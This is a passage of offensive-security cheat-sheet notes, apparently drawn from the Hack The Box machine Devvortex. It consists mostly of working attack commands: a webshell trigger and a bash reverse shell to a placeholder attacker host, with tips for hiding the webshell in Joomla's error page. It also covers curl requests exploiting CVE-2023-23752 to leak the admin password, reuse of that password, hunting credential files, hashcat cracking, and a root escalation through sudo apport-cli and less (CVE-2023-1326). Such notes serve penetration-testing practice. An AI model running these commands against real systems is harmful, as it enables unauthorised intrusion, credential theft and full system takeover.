curl -s 'http://TARGET/bogus404?cmd=id'
curl -s -G 'http://TARGET/bogus404' \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER/9001 0>&1"'

Flags/Notes - Target error.php, not index.php. index.php is frequently not writable (save fails) — writability is per-file, try each one. error.php also only renders on 404s, so the live site stays intact and any bogus URL triggers it - isset() gate — without it every 404 runs system(null), throwing PHP warnings and visibly mangling the error page. Gate = stability + stealth - system() echoes output into the response body · exec() returns last line, prints nothing · shell_exec() returns a string, needs echo · passthru() for binary - exit; stops the error page burying your output - Default Joomla 4 template is Cassiopeia - Log every artifact you drop. An un-reverted webshell is a finding against you

Getting the admin password — Joomla 4.0.0–4.2.7 (CVE-2023-23752)

curl -s http://TARGET/administrator/manifests/files/joomla.xml | grep -i version
curl -s 'http://TARGET/api/index.php/v1/config/application?public=true' | jq
# PAGINATE — secret/mailfrom are on page 2
curl -s 'http://TARGET/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20' | jq
The leaked password is labelled a database credential — test it against the admin panel and SSH too. Reuse is what converts an info leak into admin access.

Post-foothold — creds are always on disk

cat /etc/nginx/sites-enabled/*                     # 'root' directive → webroot
find /var/www -name configuration.php 2>/dev/null  # wp-config.php / .env / settings.py

An app authenticating to its DB on every request with no human present must store that secret in a file the web user can read. Find the config, find the creds.

Joomla randomises the table prefix (sd4fg_) — you need configuration.php to know it. Joomla 4 stores bcrypt → hashcat -m 3200.

  • Pattern from: HTB Devvortex — Joomla 4.2.6 API leak → admin → Cassiopeia error.php → www-data.

GTFOBins "Inherit" — the escape lives in a child process

Why — GTFOBins organises by where the escape lives, not how you get privilege. A page with no Sudo/SUID section, only Inherit, is still a full escape: the binary has nothing exploitable in itself, but it spawns a child that does, and a child inherits its parent's privileges.

Section Meaning
Shell / Sudo / SUID escape built into the binary
Inherit binary shells out to something else — that child is the escape

The "Unprivileged" tag describes the trigger (any user can reach the child), not the outcome. You supply the sudo.

Triage when sudo -l hands you a binary 1. GTFOBins — take Inherit as seriously as Sudo/Shell 2. <binary> --version → CVE search. Version-first beats guessing 3. Ask what does it shell out to? Pagers (less, more), editors (vi, nano), $PAGER/$EDITOR handoffs, git/man/systemctl subprocesses

Most sudo privescs are one of three shapes: spawns a shell, spawns a pager/editor you can escape, or reads a file you control.

Command — sudo apport-cli (CVE-2023-1326)

sudo -l                              # (ALL : ALL) /usr/bin/apport-cli
/usr/bin/apport-cli --version        # 2.20.11

ls -la /var/crash/                   # need a .crash file
sleep 300 & kill -SIGSEGV $!         # generate one if empty (apport hooks SIGSEGV)

sudo /usr/bin/apport-cli -c /var/crash/<file>.crash
#   choose V (View report) → screen fills, ':' prompt appears = that's less
!/bin/bash

Flags/Notes - Apport is Ubuntu's crash reporter (not backup) — it pages reports through less - -c PATH — specific crash file rather than scanning pending ones. Deterministic - Pager only engages when output exceeds one screen; short output dumps and exits - ! — less's "run a shell command". Editors: :!/bin/bash in vi - Full path /bin/bash — sudoers secure_path constrains PATH - ERROR: Cannot update /var/crash/...: Permission denied is cosmetic. Check id before concluding failure - Rehearse interactive exploits without sudo first to learn the menu flow, then fire for real. Costs nothing; avoids fumbling a one-shot primitive in front of a client

If it fails - Report too short → shrink the terminal, or pick a menu path with more output - ! echoed literally → you're not in less; look for the : prompt - Root shell not spawning → confirm sudo was on apport-cli itself - Fall back to less's v (invokes $EDITOR) as a second escape route

  • Pattern from: HTB Devvortex — logan had (ALL : ALL) /usr/bin/apport-cli.